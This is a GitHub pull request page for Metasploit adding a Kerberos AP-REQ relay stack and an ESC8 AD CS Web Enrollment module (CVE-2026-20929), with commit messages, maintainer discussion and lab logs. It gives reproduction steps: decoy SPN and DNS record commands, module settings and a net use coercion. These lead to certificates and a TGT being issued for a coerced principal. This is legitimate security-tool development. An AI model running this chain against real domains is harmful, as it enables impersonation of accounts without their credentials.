Skip to content

Add native Kerberos relay stack and ESC8 (AD CS Web Enrollment) target (CVE-2026-20929) - #21709

Merged
jheysel-r7 merged 26 commits into
rapid7:masterfrom
Pushpenderrathore:feature/kerberos-relay-esc8
Sep 9, 2026
Merged

jheysel-r7 merged 26 commits into
rapid7:masterfrom
Pushpenderrathore:feature/kerberos-relay-esc8

Conversation

@Pushpenderrathore

@Pushpenderrathore Pushpenderrathore commented Jul 24, 2026 •

Copy link
Copy Markdown
Contributor

Part of #21693.

First of a stacked series adding native Kerberos authentication relay to Metasploit. This PR contributes the Kerberos relay stack and the AD CS Web Enrollment (ESC8) target; the DHCPv6 and rogue-RA coercion modules follow in separate PRs.

What this adds

Metasploit's relay stack is NTLM-only today. This mirrors the NTLM namespace under relay/kerberos and smb/relay/kerberos:

  • An SMB server captures the AP-REQ from the SMB2 SessionSetup.
  • GSS code extracts it from the SPNEGO blob as opaque DER and rebuilds it into a fresh GSS-SPNEGO token for the target (forward, do not decode; the AP-REQ is encrypted to the target service).
  • A one-shot relay handler falls through to NTLM for non-Kerberos tokens.
  • A create_client target factory feeds an HTTP target client that replays the AP-REQ over Authorization: Negotiate.
  • modules/auxiliary/server/relay/esc8_kerberos.rb drives the existing HTTP::WebEnrollment mixin over the relayed, already-authenticated connection to enroll a certificate as the coerced principal.

Unlike NTLM, an AP-REQ is a single self-contained message with no challenge/response, so the relay is one-shot with no per-identity target selection.

Background

CVE-2026-20929 (GHSA-cjjj-mhw7-f4xr; Cymulate, "Kerberos relay via DNS CNAME abuse") is catalogued as improper access control in Windows HTTP.sys (CWE-284, CVSS 7.5). The January 2026 patch added channel binding to HTTP.sys but does not cover targets that do not enforce it, such as plain-HTTP ESC8 /certsrv, which has no TLS channel to bind and is the primary target here.

Validation

Lab-validated end to end against a live domain: a coerced Windows client's SMB2 AP-REQ is captured, round-tripped byte-identical through the GSS code, rebuilt into a Negotiate header, and relayed to AD CS Web Enrollment to issue a certificate for the coerced principal with no knowledge of its credentials. That certificate then drives PKINIT to obtain a valid TGT for the principal, completing the coerce to relay to certificate to TGT chain.

Capturing the AP-REQ from a real client depends on ruby_smb advertising the Kerberos mechanism in its SMB negotiate, which is the paired change in rapid7/ruby_smb#303. The small provider glue that turns it on here is applied once that lands and the gem is bumped.

The DNS-driven coercion also depends on the core Rex::Proto::DNS forward/cache path staying healthy while it acts as a selective poisoner in front of a real upstream resolver. The fixes for that land in #21853 (following the earlier #21784), both surfaced during this testing.

Correction to an earlier note in this description: the full chain does not need a two-host CA != KDC lab. The coercion introduces a new name rather than poisoning an existing one, so the victim keeps reaching the KDC, and a single host with the CA and KDC co-located is sufficient.

Notes

  • Opened as a draft: first of a stacked series, and pending a rebase onto current master.
  • Specs for the relay stack (relay/kerberos + smb/relay/kerberos) pass; msftidy clean on the module.

@github-actions

Copy link
Copy Markdown

Thanks for your pull request! As part of our landing process, we manually verify that all modules work as expected.

We've added the additional-testing-required label to indicate that additional testing is required before this pull request can be merged.
For maintainers, this means visiting here.

Foundation for native Kerberos relay support. Introduces the
Msf::Exploit::Remote::Relay::Kerberos namespace mirroring the NTLM relay
stack, with an ApReqExtractor mixin that pulls a captured AP-REQ out of a
client's GSS-API token (SPNEGO NegTokenInit or bare GSS Kerberos) as
opaque DER, ready to forward to a relay target unchanged.

The AP-REQ is carried, never interpreted: the client identity lives in
its encrypted ticket/authenticator which only the real target decrypts,
and ApReq#decode is not implemented. RelayResult struct added for the
target-reply contract. Covered by rspec (round-trip plus NTLM/malformed
rejection).
Rename the AP-REQ extractor mixin to GssApReq to reflect that it now
handles both directions of the relay: extract_ap_req captures a client's
AP-REQ (relay server side), and the new build_spnego_ap_req re-wraps that
captured AP-REQ into a fresh GSS-SPNEGO blob to send to the real service
(relay target side).

build_spnego_ap_req is the inverse of extract_ap_req and takes raw AP-REQ
DER rather than an ApReq model object, since the relay only holds the
captured bytes. Round-trip specs assert extract -> build -> extract yields
the original AP-REQ unchanged.
Adds Relay::Kerberos::Target::HTTP::Client, which replays a captured
AP-REQ to a real HTTP service (e.g. AD CS Web Enrollment for ESC8) over a
SPNEGO Negotiate exchange. Unlike NTLM there is no challenge/response
round-trip: the AP-REQ is a complete credential sent in a single request,
and on success the connection is left open for the calling module to
issue authenticated follow-up requests.

Moves RelayResult under the Target namespace to satisfy Zeitwerk (a
target.rb file must define Target); mirrors the NTLM target layout.
Verified by rspec (network mocked: Negotiate header contents and
success/failure status mapping) and the zeitwerk_compliance spec.
Adds Relay::Kerberos::RelayHandler, the Kerberos counterpart to the NTLM
server client's relay_ntlmssp. Given an incoming client GSS token it
dispatches on mechanism (Kerberos vs NTLM), extracts the AP-REQ, relays
it to the target client, and fires the module's on_relay_success /
on_relay_failure and on_relay_end callbacks.

The flow is one-shot: a captured AP-REQ is a complete credential, so there
is no challenge/response and no per-identity target selection. The AP-REQ
is cryptographically bound to the SPN the attacker coerced, so it can only
be relayed to the matching service. Non-Kerberos tokens return nil so a
shared relay server falls through to its NTLM path.

Protocol-agnostic (the RubySMB/HTTP server plumbing lives in the including
class); verified by rspec with the target and callbacks mocked.
Adds Target.create_client, the single dispatch point mapping a relay
target's protocol to its per-protocol client (HTTP today). Mirrors the
NTLM server client's create_relay_client and gives the relay server one
call to build a target, with a clear extension point for future protocols
(e.g. LDAP). Verified by rspec.
Adds SMB::Relay::Kerberos::ServerClient, the Kerberos counterpart to the
NTLM SMB relay server client. A coerced host authenticates over SMB; its
SMB2 SessionSetup carries a SPNEGO-wrapped Kerberos AP-REQ. The one-shot
flow (no NTLM-style challenge) captures that AP-REQ, dispatches on
kerberos_ap_req?, selects the SPN-matching target, builds its client via
Target.create_client, and relays through relay_kerberos.

The relay decision (target selection + relay) is split into
relay_captured_ap_req and unit-tested; the SMB status mapping is tested
too. The exact SMB2 SessionSetup response shape is noted as pending live
validation against a coerced client. Validated on real lab data: the
capture->extract->rebuild->Negotiate->CA(200) forward path was confirmed
end-to-end against the live AD CS server.
Adds SMB::Relay::Kerberos::Server, the Kerberos counterpart to the NTLM
SMB relay server. Accepts incoming SMB connections from coerced hosts and
services each with a Kerberos ServerClient on its own thread, completing
the capture side of the relay. Mirrors the NTLM server's dialect set,
accept loop, and shutdown; closed?/close behaviour is unit-tested.
Wire the Kerberos relay stack (CVE-2026-20929) through to AD CS ESC8
certificate enrollment:

- Make Relay::Kerberos::Target::HTTP::Client drivable as an HTTP client
  (request_raw/request_cgi/send_recv delegators) so WebEnrollment can
  reuse the Kerberos-authenticated connection after a successful relay.
- Add SMB::Relay::Kerberos::RelayServer, a reusable module-level mixin
  mirroring SMB::RelayServer that runs the Kerberos SMB relay server and
  keeps the relay server decoupled from the target action.
- Add auxiliary/server/relay/esc8_kerberos, which relays a captured
  AP-REQ to AD CS Web Enrollment and requests a certificate. Identity is
  supplied via RELAY_IDENTITY since the AP-REQ carries it encrypted.
The SessionSetup answer skipped three things the NTLM relay server client
does, all of which the coerced client depends on.

Sessions are now registered. A zero session id mints a new id and stores
a RubySMB::Server::Session in the session table, so RubySMB can resolve
the session for any follow-up request; previously the generated id was
returned to the client but recorded nowhere. A non-zero id that this
server never issued is now answered with STATUS_USER_SESSION_DELETED
rather than a normal SessionSetup response.

Credits are now granted. RubySMB does not add them for us, so a response
carrying none leaves the client with no allowance to send anything
further and the exchange stalls. One credit is granted up front and 32 on
success, matching the NTLM path.

On success the session is marked valid. session.key is deliberately left
unset and signing is not requested: the AP-REQ is relayed as opaque DER
and only the real target service can decrypt it, so we never learn the
Kerberos session key and could not sign as the victim. That is harmless
because the relay is one-shot, but it does mean the session must not be
marked as requiring signing.

Adds seven specs covering session registration, id reuse, rejection of an
unknown id, the credit grant, the state transition, and the absence of a
session key.
@Pushpenderrathore
Pushpenderrathore force-pushed the feature/kerberos-relay-esc8 branch from 00e1d07 to c9715ff Compare July 26, 2026 07:25
@Pushpenderrathore

Pushpenderrathore commented Jul 26, 2026 •

Copy link
Copy Markdown
Contributor Author

@jheysel-r7 hit something in lab testing I could use your steer on.

Set up a decoy SPN and pointed a real DC at the relay over SMB. It never sends an AP-REQ. Every attempt comes in as NTLM:

NTLM authentication request overridden to succeed for \

Took me a while to work out why. RubySMB doesn't have the Kerberos OID at all:

$ grep -rnE "113554|48018|OID_KERBEROS" ruby_smb-3.3.21/lib/
(no matches)

gss_type1/gss_type2 only ever offer OID_NTLMSSP, so the client is never given Kerberos as an option and picks NTLM. Which means try_extract_ap_req always returns nil and we fall straight through to the NTLM path. The capture code itself is fine, it just never sees an AP-REQ.

That makes this look like a ruby_smb change rather than something to fix here. Teaching the provider to advertise the Kerberos mech would also let the existing NTLM relay server negotiate it. The alternative is building the negotiate blob myself in the module, but that's duplicating gem internals and I'd rather not go there without asking.

So before I open anything against ruby_smb: was the server side only offering NTLM deliberately, or has nobody needed Kerberos there yet? And if the gem is the right place, do you want that PR and the version bump paired with this one?

On the plus side the live test did confirm the session handling works, and it shook out a crash along the way: a SPNEGO NegTokenResp raises TypeError out of unwrap_pseudo_asn1 and safe_unwrap wasn't catching it, so every connection was dying on the second SessionSetup. Fixed in 2446062.

@Pushpenderrathore

Pushpenderrathore commented Jul 26, 2026 •

Copy link
Copy Markdown
Contributor Author

@jheysel-r7 follow-up after more lab time on this. Two findings, and I still want your steer on the second.

First one, a crash. I set up a decoy SPN, pointed a real DC at the relay over SMB, and every connection died on the second SessionSetup with nil can't be coerced into Integer. A SPNEGO NegTokenResp raises TypeError out of unwrap_pseudo_asn1 (no top-level mech OID, so it never sets the start offset, then it does token.length - nil), and safe_unwrap was only rescuing ASN1Error. Windows sends a NegTokenResp as the second leg of a SessionSetup every time, so the relay never actually got through a full exchange. Fixed in 2446062 by rescuing TypeError too, so it falls through to NTLM cleanly instead of dying. Good side effect of the same run: the session bookkeeping holds up, the second dispatch comes in carrying the registered session like it should.

The second one is what I want your read on. Once it stopped crashing, the DC just authenticated with NTLM, never sent an AP-REQ:

NTLM authentication request overridden to succeed for \

Took me a while to work out why. RubySMB doesn't have the Kerberos OID anywhere:

$ grep -rnE "113554|48018|OID_KERBEROS" ruby_smb-3.3.21/lib/
(no matches)

gss_type1/gss_type2 only ever offer OID_NTLMSSP, so the client is never given Kerberos as an option and picks NTLM. Which means try_extract_ap_req returns nil and we fall straight through to the NTLM path. The capture code is fine, it just never sees an AP-REQ, so as it stands the module can't do the Kerberos relay against a real client.

That looks like a ruby_smb change to me rather than something to fix in the module: have the GSS provider advertise the Kerberos mech so a client can select it, which would also let the existing NTLM relay server negotiate Kerberos. The alternative is building the negotiate blob myself in the module, but that's duplicating gem internals and I'd rather not without asking.

So two questions before I open anything against ruby_smb: was the server side only offering NTLM on purpose, or has nobody needed Kerberos there yet? And if the gem is the right place, do you want the ruby_smb PR and the version bump handled as a pair with this one?

I also tried to validate the coercion modules (the DHCPv6/RA DNS takeover) against the real victim while I was at it. Couldn't get a clean run, and it's worth being upfront about why. My Mac can't host the coercion since mDNSResponder squats on port 53 and it is SIP-protected, so I vendored the module onto the Kali attacker's stock Metasploit instead. The DNS half came up fine ("DNS server started, poisoning names under kerberos.issue"), but the DHCPv6 half kept throwing uninitialized constant Rex::Proto::DHCPv6. That is a vendoring artifact rather than a module bug: the new rex/proto/dhcpv6 tree and its msf_autoload.rb inflection don't wire up the same way when you graft them onto a stock install. On the branch itself the module loads and its specs pass fine. So a real coercion test needs the full branch checked out on the attacker box, not a partial graft, and I've parked that until the mech question is sorted, since there is no point driving a coerced client at a relay that can only take NTLM.

Full coerce -> relay -> cert is still pending regardless, and to mean much it needs a two-host lab with the CA separate from the KDC (a single host collapses the KDC into the target).

Parse the GSS blob once. do_session_setup_smb2 tested for Kerberos and
then relay_kerberos tested again and extracted, so a single SessionSetup
parsed the same blob up to four times. GssApReq gains try_extract_ap_req,
which yields the AP-REQ or nil in one pass; kerberos_ap_req? is now
defined in terms of it, and relay_kerberos takes the extracted AP-REQ
rather than the raw blob. Deciding whether a blob is Kerberos at all, and
falling through to NTLM when it is not, now belongs unambiguously to the
caller.

Fix the RHOSTS aliases. HttpClient re-registers RHOSTS after the relay
server mixin and drops its aliases, so SMBHOST and RELAY_TARGETS were
accepted at the prompt but never reached RHOSTS: setting either reported
success and left the module with no target. Re-registered at module level,
which is applied last. Verified that both aliases now set RHOSTS, and that
the relay-specific description is the one shown.

Keep the closing log line honest when the peer lookup fails. ip_address
was assigned inside the begin block but read after the rescue, so a
failure in getpeername left it interpolating nil.

Also drop @issued_certs, which was assigned and never read, correct a
doc reference to Kerberos::Target::RelayResult, and note that
relay_identity is always nil on the Kerberos path today and is honoured
only for a future target that can recover an identity.
Found in a live lab test against a Windows DC. The relay never survived a
real SMB2 SessionSetup exchange.

unwrap_pseudo_asn1 only assigns its start offset when it finds a
top-level mechanism OID. For a token that has none it leaves the offset
nil and then evaluates `token.length - nil`, raising TypeError rather
than an ASN1Error. safe_unwrap rescued only ASN1Error, so the TypeError
escaped through extract_ap_req and try_extract_ap_req and killed the
connection thread.

A SPNEGO NegTokenResp is exactly such a token, and a Windows client sends
one as the second leg of a SessionSetup. Every connection therefore died
mid-exchange with "nil can't be coerced into Integer" after the first
message. safe_unwrap now rescues TypeError as well, so a NegTokenResp is
reported as "not a Kerberos mechanism" and the caller falls through to
the NTLM path as intended.

Verified in the lab: the same exchange that previously died now completes,
the session reaches :valid and the following TREE_CONNECT succeeds.

Also pass the exception to elog as error: rather than as the message, so
the backtrace survives. Diagnosing this from the log was impossible
without it, since elog(exception) records only the message.
@jheysel-r7

Copy link
Copy Markdown
Contributor

Hey @Pushpenderrathore, thanks for raising all these concerns.

  1. You are absolutely correct that gss_type1 and related methods were hardcoded to only support NTLM. That's just how they were written, I believe no one has needed ruby_smb / kerberos support just yet. You're also correct that this would be a ruby_smb change. It would be a sizable amount of work to support kerberos auth in ruby_smb (having to account for SMB version 1 2 and 3) if it's doable we would want that work reusable in ruby_smb and not baked into the module.

  2. I would say focus on the ruby_smb changes for now as they're blocking this work/ the rest of the relay attack workflow. Once the ruby_smb PR is complete we can prioritize that, get it landed and then perform the gem version bump.

As for the DHCPv6/RA DNS takeover issue, thanks for being upfront - I think that will be a solvable issue. We should be able to test everything on the kali system eventually.

@Pushpenderrathore

Pushpenderrathore commented Aug 2, 2026 •

Copy link
Copy Markdown
Contributor Author

Put it up as a Open so you can look at the actual code rather than my description of it: rapid7/ruby_smb#303.

Three commits, 650 lines with specs. Providers declare their own mechanisms, Provider::Multi lets a server hold several and routes on whichever the client picks, and Provider::Kerberos advertises Kerberos and hands the token up without decoding it.

Left as a draft until you've had a chance to weigh in on the scope question above. If capture and forward is the right depth it's ready as it stands, and if you'd rather it went all the way to real acceptance the refactor underneath still holds and I'd build on it rather than start again.

Both were found running the relay against a live domain controller, with
ruby_smb teaching the SMB server to advertise Kerberos so a real client
would actually send an AP-REQ. Neither could be reached before, because
nothing had ever got past the capture stage.

The AP-REQ relayed and AD CS accepted it, then the module raised
"undefined method `[]' for nil". HTTP::WebEnrollment#cert_issued? reads
@issued_certs on the first certificate request, and only the NTLM ESC8
module was initialising it.

With that fixed the enrollment reached the target and raised "undefined
method `conn'". The Kerberos HTTP relay client stands in for a
Rex::Proto::Http::Client when it is handed to #send_request_raw, and that
method reaches for the underlying socket after every response to trace the
peer certificate. Delegate #conn so it can.

With both fixed the chain completes: a coerced client's AP-REQ is relayed
to AD CS Web Enrollment and a client-auth certificate is issued for the
coerced principal, which PKINIT then exchanges for a TGT.
@Pushpenderrathore

Copy link
Copy Markdown
Contributor Author

Ran this against a live DC with rapid7/ruby_smb#303 in place, and the whole chain works: coerced client to relayed AP-REQ to an AD CS certificate to a TGT. It also shook out two bugs in here that nothing could have reached before, since the relay had never actually got past the capture stage.

Lab was Server 2022, kerberos.issue, AD CS Web Enrollment on the DC. Coercion was a decoy SPN plus a DNS record pointing the name at the attacker, then net use from the victim.

The interesting thing about combining the two is how little glue it needs. This PR intercepts the SessionSetup blob directly:

ap_req = try_extract_ap_req(request.buffer.to_binary_s)
return super if ap_req.nil?

so it never asks the GSS provider anything. All #303 has to do is widen the mechanism list in the NEGOTIATE response so the client is allowed to pick Kerberos. Once it can, the existing capture path here just works. The wiring is about ten lines in relay_server.rb, wrapping the existing provider:

gss_provider = ::RubySMB::Gss::Provider::Multi.new(
  [::RubySMB::Gss::Provider::Kerberos.new, gss_provider]
)

I have deliberately not committed that, since it cannot work against the released gem. It is the follow-up once #303 lands and the version is bumped.

The two bugs

Both only appear after a relay succeeds, which is why the specs never saw them.

The AP-REQ relayed, AD CS accepted it, and then undefined method '[]' for nil. HTTP::WebEnrollment#cert_issued? reads @issued_certs on the first certificate request, and only the NTLM esc8.rb was initialising it.

With that fixed it got as far as the enrollment request and raised undefined method 'conn'. This PR's HTTP relay client stands in for a Rex::Proto::Http::Client when it is passed to send_request_raw, and that method reaches for the underlying socket after every response to trace the peer certificate. It needed to delegate conn.

Both fixed in efbdada, specs still 60/60 and msftidy clean.

The full run, end to end
[*] SMB Kerberos relay server is running. Listening on 0.0.0.0:445
[*] Server started.
[*] New request from 192.168.64.3
[*] Negotiated dialect: SMB v2.0.2
[*] Dispatching request to do_session_setup_smb2 (session: nil)
[*] Relaying Kerberos AP-REQ to http://192.168.64.3:80/certsrv/
[+] Successfully relayed Kerberos AP-REQ to http://192.168.64.3:80/certsrv/
[*] Building a certificate signing request for user labuser - RSA key size: 2048 - digest algorithm: SHA256 - template: User
[*] Submitting the certificate signing request to the target...
[+] Certificate generated using template User for KERBEROS\labuser
[*] Attempting to download the certificate from /certsrv/certnew.cer?ReqID=27&
[*] Certificate Policies:
[*]   * msEFS
[*]   * emailProtection
[*]   * clientAuth
[*] Certificate UPN: labuser@kerberos.issue
[*] Certificate stored at: ~/.msf4/loot/20260802190104_default_192.168.64.3_windows.ad.cs_913372.pfx
[*] Relay tasks complete; waiting for next login attempt.
QUERY_ONLY, enumerating templates as the relayed identity

Before issuing anything, MODE QUERY_ONLY confirms the relayed connection is genuinely authenticated at AD CS rather than merely connected:

[+] Successfully relayed Kerberos AP-REQ to http://192.168.64.3:80/certsrv/
[*] Retrieving available template list, this may take a few minutes
[*] ***Templates with CT_FLAG_MACHINE_TYPE set like Machine and DomainController will not display as available, even if they are.***
[+] Available Certificates for KERBEROS\labuser: User, EFS, TraceTest
[*] Relay tasks complete; waiting for next login attempt.
The issued certificate
subject : /DC=issue/DC=kerberos/CN=Users/CN=labuser
issuer  : /DC=issue/DC=kerberos/CN=kerberos-DC1-CA
serial  : 624420865699601690703776914184735291594506267
valid   : 2026-08-02 13:21:00 UTC -> 2027-08-02 13:21:00 UTC
has key : yes (OpenSSL::PKey::RSA, 2048 bit)
EKU     : Microsoft Encrypted File System, E-mail Protection, TLS Web Client Authentication
SAN     : othername: UPN:labuser@kerberos.issue

Signed by the real CA, with a private key, clientAuth, and the coerced principal's UPN. No knowledge of the account's password at any point.

PKINIT with the relayed certificate

The payoff, using the issued certificate to get a TGT:

msf > use auxiliary/admin/kerberos/get_ticket
msf > set CERT_FILE ~/.msf4/loot/20260802190104_default_192.168.64.3_windows.ad.cs_913372.pfx
msf > set action GET_TGT
msf > run

[*] Running module against 192.168.64.3
[*] 192.168.64.3:88 - Getting TGT for labuser@kerberos.issue
[+] 192.168.64.3:88 - Received a valid TGT-Response
[*] 192.168.64.3:88 - TGT MIT Credential Cache ticket saved to ~/.msf4/loot/20260802210522_default_192.168.64.3_mit.kerberos.cca_772474.bin

The DC's clock had drifted about two hours mid-session and this failed with KRB_AP_ERR_SKEW until a w32tm /resync, which is a lab artefact rather than anything to do with the module.

Reproducing it
setspn -S cifs/relaytest.kerberos.issue DC1
Add-DnsServerResourceRecordA -Name relaytest -ZoneName kerberos.issue -IPv4Address <attacker>
use auxiliary/server/relay/esc8_kerberos
set SRVHOST 0.0.0.0
set SRVPORT 445
set RHOSTS <dc>
set RPORT 80
set TARGETURI /certsrv/
set RELAY_IDENTITY KERBEROS\labuser
set MODE AUTO
run

and from the victim:

klist purge
net use \\relaytest.kerberos.issue\ipc$ /user:kerberos.issue\labuser <password>

Kerberos only gets selected when explicit domain credentials are given. Without /user: Windows falls back to NTLM and the relay correctly passes it through to the NTLM path instead. Both directions were reproducible.

Afterwards the SPN was unregistered and the DNS record removed.

One caveat in the description I can now drop

The PR says full validation needs a two-host lab with the CA separate from the KDC. That turns out not to be true for this path. The concern was that poisoning the CA's name would cut the victim off from the KDC, but the coercion here introduces a new name rather than poisoning an existing one, so the victim keeps talking to the KDC normally. CA and KDC on the same host was fine.

Still outstanding is RELAY_IDENTITY having to be supplied by hand. The AP-REQ carries the principal encrypted to the target service, so there is nothing on the wire to read it from, and it is only used for template selection and labelling. Worth knowing that an operator has to know who they are coercing.

Replace the relay-local GssApReq mixin with the shared
Rex::Proto::Gss::KerberosToken added in rapid7#21717, so the Kerberos token
parsing lives in rex/proto/gss rather than under relay/. KerberosToken
exposes the same extract_ap_req/try_extract_ap_req/kerberos_ap_req?/
build_spnego_ap_req interface as class methods and already rescues the
NegTokenResp TypeError, so the capture path, the SPNEGO rebuild and the
crash-safety are all preserved.
@Pushpenderrathore

Copy link
Copy Markdown
Contributor Author

Ran the refactor from the last two commits (Accept RELAY_IDENTITY in DOMAIN\HOST$ or UPN form and Use Rex::Proto::Gss::KerberosToken for AP-REQ handling) against the live DC, with the ruby_smb#303 Multi-provider glue applied locally (kept out of this PR, same as the earlier note, it cannot load against the released gem).

Setup: decoy SPN cifs/relaytest.kerberos.issue on DC1, matching DNS A record pointed at the relay host. Coerced labuser via net use \\relaytest.kerberos.issue\ipc$ /user:kerberos.issue\labuser ..., forcing Kerberos.

RELAY_IDENTITY set to the exact UPN form from the bug report (labuser@kerberos.issue), to confirm the fix on the same input shape that produced the doubled-identity error. Result: no doubling, correct CSR.

[*] New request from 192.168.64.3
I, [...] INFO -- : Negotiated dialect: SMB v2.0.2
[*] Relaying Kerberos AP-REQ to http://192.168.64.3:80/certsrv/
[+] Successfully relayed Kerberos AP-REQ to http://192.168.64.3:80/certsrv/
[*] Building a certificate signing request for user labuser - RSA key size: 2048 - digest algorithm: SHA256 - template: User
[+] Certificate generated using template User for kerberos.issue\labuser
[*] Certificate UPN: labuser@kerberos.issue

Issued certificate, verified with openssl:

subject=DC=issue, DC=kerberos, CN=Users, CN=labuser
issuer=DC=issue, DC=kerberos, CN=kerberos-DC1-CA
UPN:labuser@kerberos.issue

This exercises the Rex::Proto::Gss::KerberosToken capture path in server_client.rb on a real SMB2 SessionSetup, not just the specs, and confirms the RELAY_IDENTITY normalization on live wire data. Lab was fully torn down afterward: SPN and DNS record removed from the DC, all working files and the issued cert wiped from the relay host.

The illustrative run output didn't match the module's actual log lines
(it invented strings like "New Kerberos request" and "Received AP-REQ
for coerced principal" that the code never prints). Rebuilt it from the
real format strings in relay_handler.rb, cert_request.rb and
web_enrollment.rb, so it now matches what the module actually logs for
the AD\WIN-VICTIM$ example above it.

Also added an unedited capture from a live lab run using the UPN form
of RELAY_IDENTITY, plus the issued certificate's subject/issuer/UPN, so
the identity-format handling has a real worked example alongside the
illustrative one.

Copilot AI left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Pull request overview

Adds the first phase of native Kerberos AP-REQ relaying to Metasploit by introducing a Kerberos SMB relay server/client stack and an ESC8 (AD CS Web Enrollment) auxiliary module that reuses the relayed, already-authenticated HTTP connection.

Changes:

  • Introduces relay/kerberos and smb/relay/kerberos library code to capture a Kerberos AP-REQ from SMB2 SessionSetup and replay it to HTTP(S) via Authorization: Negotiate.
  • Adds auxiliary/server/relay/esc8_kerberos + docs to drive AD CS Web Enrollment over the relayed Kerberos-authenticated HTTP connection.
  • Updates HttpClient#send_request_raw to avoid assuming all injected clients respond to #conn (enables the relay HTTP client wrapper).

Impact Analysis:

  • Blast radius: medium — new relay stack under lib/msf/.../relay/kerberos plus a core HttpClient behavior tweak that can affect any module passing a non-standard client: into send_request_raw.
  • Data and contract effects: low — no schema changes; adds new relay-target client types and relies on HTTP::Auth/preferred_auth behavior for follow-up requests.
  • Rollback and test focus: rollback is straightforward (new files + one-line core change); focus testing on module runtime option validation (HTTP::Auth / enrollment flow), and the new relay stack specs.

Reviewed changes

Copilot reviewed 16 out of 16 changed files in this pull request and generated 4 comments.

Show a summary per file
File Description
spec/modules/auxiliary/server/relay/esc8_kerberos_spec.rb Adds unit coverage for relay-identity normalization used by the ESC8 Kerberos module.
spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_spec.rb Tests the Kerberos SMB relay server lifecycle/close behavior.
spec/lib/msf/core/exploit/remote/smb/relay/kerberos/server_client_spec.rb Tests Kerberos AP-REQ extraction/relay decision flow and SMB2 SessionSetup responses.
spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb Tests Kerberos relay server mixin service wrapper behavior and option wiring.
spec/lib/msf/core/exploit/remote/relay/kerberos/target/http/client_spec.rb Tests the HTTP target client’s Negotiate header construction and follow-up request reuse.
spec/lib/msf/core/exploit/remote/relay/kerberos/target_spec.rb Tests protocol dispatch for Kerberos relay target client factory.
spec/lib/msf/core/exploit/remote/relay/kerberos/relay_handler_spec.rb Tests protocol-agnostic one-shot Kerberos relay handler success/failure behavior.
modules/auxiliary/server/relay/esc8_kerberos.rb Adds the ESC8 Kerberos relay module (SMB capture → HTTP(S) Web Enrollment).
lib/msf/core/exploit/remote/smb/relay/kerberos/server.rb Adds Kerberos SMB relay server implementation built on RubySMB server.
lib/msf/core/exploit/remote/smb/relay/kerberos/server_client.rb Adds per-connection SMB server client that extracts AP-REQ and relays it one-shot.
lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server.rb Adds module mixin to run the Kerberos SMB relay service and integrate with TargetList.
lib/msf/core/exploit/remote/relay/kerberos/target/http/client.rb Adds HTTP relay target client that wraps AP-REQ as SPNEGO and replays it over HTTP.
lib/msf/core/exploit/remote/relay/kerberos/target.rb Adds Kerberos relay target factory/dispatcher (HTTP/HTTPS supported).
lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb Adds protocol-agnostic Kerberos relay orchestration logic (one-shot AP-REQ replay).
lib/msf/core/exploit/remote/http_client.rb Makes peer-cert tracing resilient to injected clients that don’t implement #conn.
documentation/modules/auxiliary/server/relay/esc8_kerberos.md Adds end-user documentation and example workflow for ESC8 Kerberos relay usage.
Suppressed comments (2)

spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb:22

  • Suggestion: Problem: This expectation hardcodes a private RFC1918 address (10.0.0.1) instead of TEST-NET-1 (192.0.2.0/24) for spec IPs (AGENTS.md:25; RSpec Test Instructions). Impact: inconsistent spec data compared to the project’s established convention. Fix: update the expected LocalHost to match the TEST-NET-1 address used in the spec setup.
        expect(described_class.sock_options_for(options)).to include(
          'LocalHost' => '10.0.0.1',
          'LocalPort' => 4445
        )
      end

spec/lib/msf/core/exploit/remote/smb/relay/kerberos/relay_server_spec.rb:35

  • Suggestion: Problem: This expectation hardcodes a private RFC1918 address (10.0.0.1) instead of a TEST-NET-1 address for spec IPs (AGENTS.md:25; RSpec Test Instructions). Impact: inconsistent spec data compared to the project’s convention. Fix: update the expected alias to match the TEST-NET-1 address used in the spec setup.
    describe '.hardcore_alias' do
      it 'derives from the bind host and port' do
        expect(described_class.hardcore_alias(options)).to eq('10.0.0.14445')
      end

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

Comment thread modules/auxiliary/server/relay/esc8_kerberos.rb
Comment thread modules/auxiliary/server/relay/esc8_kerberos.rb
Comment thread lib/msf/core/exploit/remote/relay/kerberos/relay_handler.rb

@jheysel-r7 jheysel-r7 left a comment

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Great work @Pushpenderrathore. I was able to get this working with the ipv6_ra_dns_takeover module. If you could please address the co-pilot comments, I'll kick of the additionally required cucumber tests and if they come back looking good I think we'll be almost ready to land.

Testing

msf auxiliary(server/relay/esc8_kerberos) >
[*] Checking endpoint on http://172.16.199.200:80/certsrv/
[*] SMB Kerberos relay server is running. Listening on 0.0.0.0:445
[*] Server started.
[*] New request from 172.16.199.100
I, [2026-08-19T12:49:34.278158 #8081]  INFO -- : Starting thread for connection from 172.16.199.100
I, [2026-08-19T12:49:34.295004 #8081]  INFO -- : Negotiated dialect: SMB v2.0.2
D, [2026-08-19T12:49:34.300163 #8081] DEBUG -- : Dispatching request to do_session_setup_smb2 (session: nil)
[*] Relaying Kerberos AP-REQ to http://172.16.199.200:80/certsrv/
[+] Successfully relayed Kerberos AP-REQ to http://172.16.199.200:80/certsrv/
[*] Building a certificate signing request for user minion2$ - RSA key size: 2048 - digest algorithm: SHA256 - template: Machine
[*] Submitting the certificate signing request to the target...
[+] Certificate generated using template Machine for KERBEROS\minion2$
[*] Attempting to download the certificate from /certsrv/certnew.cer?ReqID=325&
[*] Certificate Policies:
[*]   * clientAuth
[*]   * serverAuth
[*] Certificate DNS: minion2.kerberos.issue
[*] Certificate stored at: /home/msfuser/.msf4/loot/20260819124934_default_172.16.199.200_windows.ad.cs_254002.pfx
[*] Relay tasks complete; waiting for next login attempt.
I, [2026-08-19T12:49:34.977707 #8081]  INFO -- : Ending thread for connection from 172.16.199.100
msf auxiliary(spoof/ipv6/ipv6_ra_dns_takeover) >
[*] DNS server started, poisoning names under kerberos.issue -> CNAME devbox.kerberos.issue
[*] Advertising fdd6:b808:d74a:dba4::dead:beef as the IPv6 DNS server via Router Advertisements every 30s
[*] Responding to Router Solicitations with an immediate unicast RA
